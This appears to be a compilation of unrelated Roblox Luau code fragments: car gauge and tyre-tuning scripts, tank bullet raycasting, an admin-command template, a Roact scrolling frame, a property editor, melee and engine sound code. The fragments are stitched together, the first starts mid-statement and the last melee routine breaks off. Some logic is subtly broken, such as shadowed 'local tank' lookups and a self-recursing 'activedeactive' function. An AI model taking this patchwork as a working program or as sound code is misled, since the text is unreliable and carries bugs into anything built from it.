script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) script.Parent.Parent.Values.PBrake.Changed:connect(function() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end) script.Parent.Parent.Values.TransmissionMode.Changed:connect(function() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units inspd.Rotation = -30 + (240 / 160) * (math.floor(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88)))) end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) mouse.KeyDown:connect(function(key) if key=="v" then script.Parent.Visible=not script.Parent.Visible end end)
-- It's important we update all icons when a players language changes to account for changes in the width of text, etc
task.spawn(function() local success, translator = pcall(function() return localizationService:GetTranslatorForPlayerAsync(localPlayer) end) local function updateAllIcons() local icons = IconController.getIcons() for _, icon in pairs(icons) do icon:_updateAll() end end if success then IconController.translator = translator translator:GetPropertyChangedSignal("LocaleId"):Connect(updateAllIcons) task.spawn(updateAllIcons) task.delay(1, updateAllIcons) task.delay(10, updateAllIcons) end end) return IconController
--Loop For Making Rays For The Bullet's Trajectory
for i = 1, 30 do --print("Travelling") local thisOffset = offset + Vector3.new(0, yOffset*(i-1), 0) local travelRay = Ray.new(point1,thisOffset) acceptable = false while not acceptable do hit, position = workspace:FindPartOnRayWithIgnoreList(travelRay, ignoreList) if hit then --print(hit.Name) if hit.Name == "FakeTrack" or hit.Name == "Flash" then ignoreList[#ignoreList+1] = hit --print("Un-Acceptable") else --print("Acceptable") acceptable = true end else --print("Acceptable") acceptable = true end end local distance = (position - point1).magnitude round.Size = Vector3.new(0.6, distance, 0.6) round.CFrame = CFrame.new(position, point1) * CFrame.new(0, 0, -distance/2) * CFrame.Angles(math.rad(90),0,0) round.Parent = Workspace point1 = point1 + thisOffset allied = false if hit and hit.Parent then --if we hit something --print("Bullet Hit Something") if hit.Parent.Parent then --look if what we hit is a tank tank = hit.Parent.Parent:findFirstChild("Tank") if not tank and hit.Parent.Parent.Parent then tank = hit.Parent.Parent.Parent:findFirstChild("Tank") if not tank and hit.Parent.Parent.Parent.Parent then local tank = hit.Parent.Parent.Parent.Parent:findFirstChild("Tank") if not tank and hit.Parent.Parent.Parent.Parent.Parent then local tank = hit.Parent.Parent.Parent.Parent.Parent:findFirstChild("Tank") end end end end if tank then --if it is a tank --print("Hit a Tank") if tank.Value == BrickColor.new("Bright red") then --if we hit an ally allied = true --print("Tank is an ally") end end if not allied then round:remove() local e = Instance.new("Explosion") e.BlastRadius = 4 e.BlastPressure = 1700 e.ExplosionType = Enum.ExplosionType.NoCraters e.DestroyJointRadiusPercent = 1.3 e.Position = position e.Parent = Workspace local impactPos = CFrame.new(point1,point1 + thisOffset)-point1+position for angle = 1, 360, 40 do ray(angle,1.5, impactPos) ray(angle,3, impactPos) --wait() end round:remove() break elseif hit and allied then round:remove() break end end wait() end if round then round:remove() end script:remove()
-------------------------
function onClicked() R.Function1.Disabled = false R.loop.Disabled = true R.BrickColor = BrickColor.new("Really red") R.Function2.Disabled = true end script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- initiate
while true do wait(1) for p, v in pairs(cooldowns) do cooldowns[p] = v - 1 end end
-- << COMMANDS >>
local module = { ----------------------------------- { Name = ""; Aliases = {}; Prefixes = {settings.Prefix}; Rank = 1; RankLock = false; Loopable = false; Tags = {}; Description = ""; Contributors = {}; -- Args = {}; Function = function(speaker, args) end; UnFunction = function(speaker, args) end; -- }; ----------------------------------- { Name = "bad"; Aliases = {}; Prefixes = {settings.Prefix}; Rank = 1; RankLock = false; Loopable = false; Tags = {}; Description = ""; Contributors = {}; -- Args = {"Player"}; ClientCommand = true; FireAllClients = true; --[[ ClientCommand = true; FireAllClients = true; BlockWhenPunished = true; PreFunction = function(speaker, args) end; Function = function(speaker, args) wait(1) end; --]] -- }; ----------------------------------- }; return module
--TABS
function activedeactive(thing, val) for _,i in pairs (thing:GetChildren()) do if i:IsA("ImageButton") or i:IsA("TextButton") then i.Active = val activedeactive(lights,true) activedeactive(siren,true) activedeactive(seats,true) end end end
--> LOCAL VARIABLES
local Flare = script.Parent local FlareBullet = Flare:WaitForChild("FlareAmmunition") local ClickedEvent = Flare:WaitForChild("PlayerClicked") local FlareBulletScript = script:WaitForChild("FlareBulletScript") local ReloadTime = Flare:WaitForChild("Customisation"):WaitForChild("ReloadTime").Value local BulletVelocity = Flare:WaitForChild("Customisation"):WaitForChild("BulletVelocity") local Reloading = false
-- Looking for how exactly to set up your background music? Open the Readme/Instructions script!
local settings = {} settings.UseGlobalBackgroundMusic = true -- If you want to play Global Background Music for everyone in your game, set this to true. settings.UseMusicZones = false -- If you are using the Background Music Zones to play specific music in certain areas, set this to true.
-- Set defaults
ScrollingFrame.defaultProps = { BackgroundTransparency = 1, BorderSizePixel = 0, Size = UDim2.new(1, 0, 1, 0), CanvasSize = UDim2.new(1, 0, 1, 0) } function ScrollingFrame:render() local props = Support.CloneTable(self.props) local state = self.state -- Include aspect ratio constraint if specified if props.AspectRatio then local Constraint = new('UIAspectRatioConstraint', { AspectRatio = props.AspectRatio }) -- Insert constraint into children props[Roact.Children] = Support.Merge( { AspectRatio = Constraint }, props[Roact.Children] or {} ) end -- Include list layout if specified if props.Layout == 'List' then local Layout = new('UIListLayout', { FillDirection = props.LayoutDirection, Padding = props.LayoutPadding, HorizontalAlignment = props.HorizontalAlignment, VerticalAlignment = props.VerticalAlignment, SortOrder = props.SortOrder or 'LayoutOrder', [Roact.Ref] = function (rbx) self:UpdateContentSize(rbx) end, [Roact.Change.AbsoluteContentSize] = function (rbx) self:UpdateContentSize(rbx) end }) -- Update size props.Size = self:GetSize() props.CanvasSize = self:GetCanvasSize() -- Insert layout into children props[Roact.Children] = Support.Merge( { Layout = Layout }, props[Roact.Children] or {} ) end -- Filter out custom properties props.AspectRatio = nil props.Layout = nil props.LayoutDirection = nil props.LayoutPadding = nil props.HorizontalAlignment = nil props.VerticalAlignment = nil props.SortOrder = nil props.Width = nil props.Height = nil props.CanvasWidth = nil props.CanvasHeight = nil -- Display component in wrapper return new('ScrollingFrame', props) end function ScrollingFrame:GetSize(ContentSize) local props = self.props -- Determine dynamic dimensions local DynamicWidth = props.Size == 'WRAP_CONTENT' or props.Width == 'WRAP_CONTENT' local DynamicHeight = props.Size == 'WRAP_CONTENT' or props.Height == 'WRAP_CONTENT' local DynamicSize = DynamicWidth or DynamicHeight -- Calculate size based on content if dynamic return UDim2.new( (ContentSize and DynamicWidth) and UDim.new(0, ContentSize.X) or (typeof(props.Width) == 'UDim' and props.Width or props.Size.X), (ContentSize and DynamicHeight) and UDim.new(0, ContentSize.Y) or (typeof(props.Height) == 'UDim' and props.Height or props.Size.Y) ) end function ScrollingFrame:GetCanvasSize(ContentSize) local props = self.props -- Determine dynamic canvas dimensions local DynamicCanvasWidth = props.CanvasSize == 'WRAP_CONTENT' or props.CanvasWidth == 'WRAP_CONTENT' local DynamicCanvasHeight = props.CanvasSize == 'WRAP_CONTENT' or props.CanvasHeight == 'WRAP_CONTENT' local DynamicCanvasSize = DynamicCanvasWidth or DynamicCanvasHeight -- Calculate size based on content if dynamic return UDim2.new( (ContentSize and DynamicCanvasWidth) and UDim.new(0, ContentSize.X) or (typeof(props.CanvasWidth) == 'UDim' and props.CanvasWidth or props.CanvasSize.X), (ContentSize and DynamicCanvasHeight) and UDim.new(0, ContentSize.Y) or (typeof(props.CanvasHeight) == 'UDim' and props.CanvasHeight or props.CanvasSize.Y) ) end function ScrollingFrame:UpdateContentSize(Layout) if not (Layout and Layout.Parent) then return end -- Set container size based on content Layout.Parent.Size = self:GetSize(Layout.AbsoluteContentSize) Layout.Parent.CanvasSize = self:GetCanvasSize(Layout.AbsoluteContentSize) end return ScrollingFrame
------------------------------------------------------------------------ -- leaves a code unit, close any upvalues ------------------------------------------------------------------------
function luaY:leaveblock(fs) local bl = fs.bl fs.bl = bl.previous self:removevars(fs.ls, bl.nactvar) if bl.upval then luaK:codeABC(fs, "OP_CLOSE", bl.nactvar, 0, 0) end -- a block either controls scope or breaks (never both) assert(not bl.isbreakable or not bl.upval) assert(bl.nactvar == fs.nactvar) fs.freereg = fs.nactvar -- free registers luaK:patchtohere(fs, bl.breaklist) end
--This is a Join Trigger
if (not game:IsLoaded()) then game.Loaded:Wait() end repeat wait() until game.Workspace.CurrentCamera if game.Players.CharacterAutoLoads then repeat wait() until game.Players.LocalPlayer.Character end local EasingStyles = { ["Linear"] = Enum.EasingStyle.Linear, ["Sine"] = Enum.EasingStyle.Sine, ["Back"] = Enum.EasingStyle.Back, ["Quad"] = Enum.EasingStyle.Quad, ["Quart"] = Enum.EasingStyle.Quart, ["Quint"] = Enum.EasingStyle.Quint, ["Bounce"] = Enum.EasingStyle.Bounce, ["Elastic"] = Enum.EasingStyle.Elastic, ["Exponential"] = Enum.EasingStyle.Exponential, ["Circular"] = Enum.EasingStyle.Circular, ["Cubic"] = Enum.EasingStyle.Cubic } local EasingDirections = { ["In"] = Enum.EasingDirection.In, ["InOut"] = Enum.EasingDirection.InOut, ["Out"] = Enum.EasingDirection.Out } local cutsceneinfo = script.CutsceneInfo local currentcameramode = game.Workspace.CurrentCamera.CameraType game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable local camera = game.Workspace.CurrentCamera
-- if Sang.Value <= 0 then -- human.Health = 0 -- end
--[[** ensures Roblox Instance type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Instance = t.typeof("Instance")
--------LEFT DOOR 8--------
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102)
--[[** ensures Lua primitive thread type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.thread = primitive("thread")
------ lOCAL -----
local Button = script.Parent local Events = game:GetService("ReplicatedStorage").Events.GiveTools local Frame = Button.Parent.Parent
--Modules
local internalclient: any = require(ReplicatedStorage:WaitForChild("Systems").InternalSystem.internalclient)
-- Unequip logic here
function OnUnequipped() Handle.UnequipSound:Play() Handle.EquipSound:Stop() Handle.EquipSound2:Stop() LeftButtonDown = false flare.MuzzleFlash.Enabled = false Reloading = false MyCharacter = nil MyHumanoid = nil MyTorso = nil MyPlayer = nil MyMouse = nil if OnFireConnection then OnFireConnection:disconnect() end if OnReloadConnection then OnReloadConnection:disconnect() end if FlashHolder then FlashHolder = nil end if WeaponGui then WeaponGui.Parent = nil WeaponGui = nil end if RecoilTrack then RecoilTrack:Stop() end if ReloadTrack then ReloadTrack:Stop() end end local function SetReticleColor(color) if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do if line:IsA('Frame') then line.BorderColor3 = color end end end end Tool.Equipped:connect(OnEquipped) Tool.Unequipped:connect(OnUnequipped) while true do wait(0.033) if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and MyMouse then WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y) SetReticleColor(NeutralReticleColor) local target = MyMouse.Target if target and target.Parent then local player = PlayersService:GetPlayerFromCharacter(target.Parent) if player then if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then SetReticleColor(EnemyReticleColor) else SetReticleColor(FriendlyReticleColor) end end end end if Spread and not IsShooting then local currTime = time() if currTime - LastSpreadUpdate > FireRate * 2 then LastSpreadUpdate = currTime Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount) UpdateCrosshair(Spread, MyMouse) end end end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 10 -- cooldown for use of the tool again ZoneModelName = "virus" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- connect events
Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Jumping:connect(onJumping) Humanoid.Climbing:connect(onClimbing) Humanoid.GettingUp:connect(onGettingUp) Humanoid.FreeFalling:connect(onFreeFall) Humanoid.FallingDown:connect(onFallingDown) Humanoid.Seated:connect(onSeated) Humanoid.PlatformStanding:connect(onPlatformStanding) Humanoid.Swimming:connect(onSwimming) local runService = game:GetService("RunService"); playAnimation("idle", 0.1, Humanoid) pose = "Standing" while true do wait(0) local _,time = wait(0) move(time) end
-- Resolve a promise once the signal is fired once
function Signal:Promise(predicate) return Promise.FromEvent(self, predicate) end function Signal:Destroy() self:DisconnectAll() local proxyHandler = rawget(self, "_proxyHandler") if proxyHandler then proxyHandler:Disconnect() end end
--Tune
local _Select = "SemiSlicks" --(AllSeason, Slicks, SemiSlicks, AllTerrain, DragRadials, Custom) Caps and space sensitive local _Custom = { TireWearOn = true , --Friction and Wear FWearSpeed = .2 , --How fast your tires will degrade (Front) FTargetFriction = .58 , --Friction in optimal conditions (Front) FMinFriction = 0.35 , --Friction in worst conditions (Front) RWearSpeed = .2 , --How fast your tires will degrade (Rear) RTargetFriction = .63 , --Friction in optimal conditions (Rear) RMinFriction = 0.35 , --Friction in worst conditions (Rear) --Tire Slip TCSOffRatio = 1 , --How much optimal grip your car will lose with TCS off, set to 1 if you dont want any losses. WheelLockRatio = 1/6 , --How much grip your car will lose when locking the wheels WheelspinRatio = 1/1.2 , --How much grip your car will lose when spinning the wheels --Wheel Properties FFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) (PGS) RFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) (PGS) FLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) RLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) FElasticity = 0 , --How much your wheel will bounce (Front) (PGS) RElasticity = 0 , --How much your wheel will bounce (Rear) (PGS) FLgcyElasticity = 0 , --How much your wheel will bounce (Front) RLgcyElasticity = 0 , --How much your wheel will bounce (Rear) FElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) (PGS) RElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) (PGS) FLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) RLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _AllSeason = { TireWearOn = true , --Friction and Wear FWearSpeed = .2 , --Don't change this FTargetFriction = .6 , -- .58 to .63 FMinFriction = 0.35 , --Don't change this RWearSpeed = .2 , --Don't change this RTargetFriction = .6 , -- .58 to .63 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 2 , --Don't change this RFrictionWeight = 2 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _Slicks = { TireWearOn = true , --Friction and Wear FWearSpeed = .6 , --Don't change this FTargetFriction = .93 , -- .88 to .93 FMinFriction = 0.35 , --Don't change this RWearSpeed = .6 , --Don't change this RTargetFriction = .93 , -- .88 to .93 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 0.6 , --Don't change this RFrictionWeight = 0.6 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _SemiSlicks = { TireWearOn = true , --Friction and Wear FWearSpeed = .5 , --Don't change this FTargetFriction = .78 , -- .73 to .78 FMinFriction = 0.35 , --Don't change this RWearSpeed = .5 , --Don't change this RTargetFriction = .78 , -- .73 to .78 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 0.6 , --Don't change this RFrictionWeight = 0.6 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _AllTerrain = { TireWearOn = true , --Friction and Wear FWearSpeed = .3 , --Don't change this FTargetFriction = .5 , -- .48 to .53 FMinFriction = 0.35 , --Don't change this RWearSpeed = .3 , --Don't change this RTargetFriction = .5 , -- .48 to .53 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 10 , --Don't change this RFrictionWeight = 10 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 3.6 , --Don't change this } local _DragRadials = { TireWearOn = true , --Friction and Wear FWearSpeed = 30 , --Don't change this FTargetFriction = 1.2 , -- 1.18 to 1.23 FMinFriction = 0.35 , --Don't change this RWearSpeed = 30 , --Don't change this RTargetFriction = 1.2 , -- 1.18 to 1.23 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 1 , --Don't change this RFrictionWeight = 1 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , --Don't change this RElasticity = 0 , --Don't change this FLgcyElasticity = 0 , --Don't change this RLgcyElasticity = 0 , --Don't change this FElastWeight = 1 , --Don't change this RElastWeight = 1 , --Don't change this FLgcyElWeight = 10 , --Don't change this RLgcyElWeight = 10 , --Don't change this --Wear Regen RegenSpeed = 20 , --Don't change this } local car = script.Parent.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local cValues = script.Parent.Parent:WaitForChild("Values") local _WHEELTUNE = _AllSeason if _Select == "DragRadials" then _WHEELTUNE = _DragRadials elseif _Select == "Custom" then _WHEELTUNE = _Custom elseif _Select == "AllTerrain" then _WHEELTUNE = _AllTerrain elseif _Select == "Slicks" then _WHEELTUNE = _Slicks elseif _Select == "SemiSlicks" then _WHEELTUNE = _SemiSlicks else _WHEELTUNE = _AllSeason end car.DriveSeat.TireStats.Fwear.Value = _WHEELTUNE.FWearSpeed car.DriveSeat.TireStats.Ffriction.Value = _WHEELTUNE.FTargetFriction car.DriveSeat.TireStats.Fminfriction.Value = _WHEELTUNE.FMinFriction car.DriveSeat.TireStats.Ffweight.Value = _WHEELTUNE.FFrictionWeight car.DriveSeat.TireStats.Rwear.Value = _WHEELTUNE.RWearSpeed car.DriveSeat.TireStats.Rfriction.Value = _WHEELTUNE.RTargetFriction car.DriveSeat.TireStats.Rminfriction.Value = _WHEELTUNE.RMinFriction car.DriveSeat.TireStats.Rfweight.Value = _WHEELTUNE.RFrictionWeight car.DriveSeat.TireStats.TCS.Value = _WHEELTUNE.TCSOffRatio car.DriveSeat.TireStats.Lock.Value = _WHEELTUNE.WheelLockRatio car.DriveSeat.TireStats.Spin.Value = _WHEELTUNE.WheelspinRatio car.DriveSeat.TireStats.Reg.Value = _WHEELTUNE.RegenSpeed
--RbxApi
local function PropertyIsHidden(propertyData) local tags = propertyData["Tags"] if tags then for _,name in pairs(tags) do if name == "Deprecated" or name == "Hidden" or name == "ReadOnly" or name == "NotScriptable" then return true end end end return false end function Set(object, propertyData, value) local propertyName = propertyData["Name"] local propertyType = propertyData["ValueType"] if value == nil then return end for i,v in pairs(GetSelection()) do if CanEditProperty(v,propertyData) then pcall(function() --print("Setting " .. propertyName .. " to " .. tostring(value)) v[propertyName] = value RemoteEvent:InvokeServer("SetProperty", v, propertyName, value) end) end end end function CreateRow(object, propertyData, isAlternateRow) local propertyName = propertyData["Name"] local propertyValue = object[propertyName] --rowValue, rowValueType, isAlternate local backColor = Row.BackgroundColor; if (isAlternateRow) then backColor = Row.BackgroundColorAlternate end local readOnly = not CanEditProperty(object, propertyData) --if propertyType == "Instance" or propertyName == "Parent" then readOnly = true end local rowFrame = Instance.new("Frame") rowFrame.Size = UDim2.new(1,0,0,Row.Height) rowFrame.BackgroundTransparency = 1 rowFrame.Name = 'Row' local propertyLabelFrame = CreateCell() propertyLabelFrame.Parent = rowFrame propertyLabelFrame.ClipsDescendants = true local propertyLabel = CreateLabel(readOnly) propertyLabel.Text = propertyName propertyLabel.Size = UDim2.new(1, -1 * Row.TitleMarginLeft, 1, 0) propertyLabel.Position = UDim2.new(0, Row.TitleMarginLeft, 0, 0) propertyLabel.Parent = propertyLabelFrame local propertyValueFrame = CreateCell() propertyValueFrame.Size = UDim2.new(0.5, -1, 1, 0) propertyValueFrame.Position = UDim2.new(0.5, 0, 0, 0) propertyValueFrame.Parent = rowFrame local control = GetControl(object, propertyData, readOnly) control.Parent = propertyValueFrame rowFrame.MouseEnter:connect(function() propertyLabelFrame.BackgroundColor3 = Row.BackgroundColorMouseover propertyValueFrame.BackgroundColor3 = Row.BackgroundColorMouseover end) rowFrame.MouseLeave:connect(function() propertyLabelFrame.BackgroundColor3 = backColor propertyValueFrame.BackgroundColor3 = backColor end) propertyLabelFrame.BackgroundColor3 = backColor propertyValueFrame.BackgroundColor3 = backColor return rowFrame end function ClearPropertiesList() for _,instance in pairs(ContentFrame:GetChildren()) do instance:Destroy() end end local selection = Gui:FindFirstChild("Selection", 1) function displayProperties(props) for i,v in pairs(props) do pcall(function() local a = CreateRow(v.object, v.propertyData, ((numRows % 2) == 0)) a.Position = UDim2.new(0,0,0,numRows*Row.Height) a.Parent = ContentFrame numRows = numRows + 1 end) end end function checkForDupe(prop,props) for i,v in pairs(props) do if v.propertyData.Name == prop.Name and v.propertyData.ValueType.Category == prop.ValueType.Category and v.propertyData.ValueType.Name == prop.ValueType.Name then return true end end return false end function sortProps(t) table.sort(t, function(x,y) return x.propertyData.Name < y.propertyData.Name end) end function showProperties(obj) ClearPropertiesList() if obj == nil then return end local propHolder = {} local foundProps = {} numRows = 0 for _,nextObj in pairs(obj) do if not foundProps[nextObj.className] then foundProps[nextObj.className] = true for i,v in pairs(RbxApi.GetProperties(nextObj.className)) do local suc, err = pcall(function() if not (PropertyIsHidden(v)) and not checkForDupe(v,propHolder) then if string.find(string.lower(v.Name),string.lower(propertiesSearch.Text)) or not searchingProperties() then table.insert(propHolder,{propertyData = v, object = nextObj}) end end end) --[[if not suc then warn("Problem getting the value of property " .. v.Name .. " | " .. err) end --]] end end end sortProps(propHolder) displayProperties(propHolder) ContentFrame.Size = UDim2.new(1, 0, 0, numRows * Row.Height) scrollBar.ScrollIndex = 0 scrollBar.TotalSpace = numRows * Row.Height scrollBar.Update() end
--Variable for the current camera
local cc = workspace.CurrentCamera
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------------------------------MELEE--------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------
local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = Tool.Handle SlashSound.Volume = .7 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") if not humanoid then return end local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid ~= hum and hum ~= nil and game.Players:playerFromCharacter(humanoid.Parent) and game.Players:playerFromCharacter(humanoid.Parent).TeamColor~=cc then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(160) wait(1) untagHumanoid(humanoid) end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function lunge() SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local on = 0 script:WaitForChild("Rev") if not FE then for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end for i,v in pairs(script:GetChildren()) do v.Parent=car.DriveSeat end car.DriveSeat.Rev:Play() while wait() do local _RPM = script.Parent.Values.RPM.Value if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end car.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2 end else local handler = car.AC6_FE_Sounds handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") local pitch=0 while wait() do local _RPM = script.Parent.Values.RPM.Value if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end pitch = (script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2 handler:FireServer("updateSound","Rev",script.Rev.SoundId,pitch,script.Rev.Volume) end end
--!strict
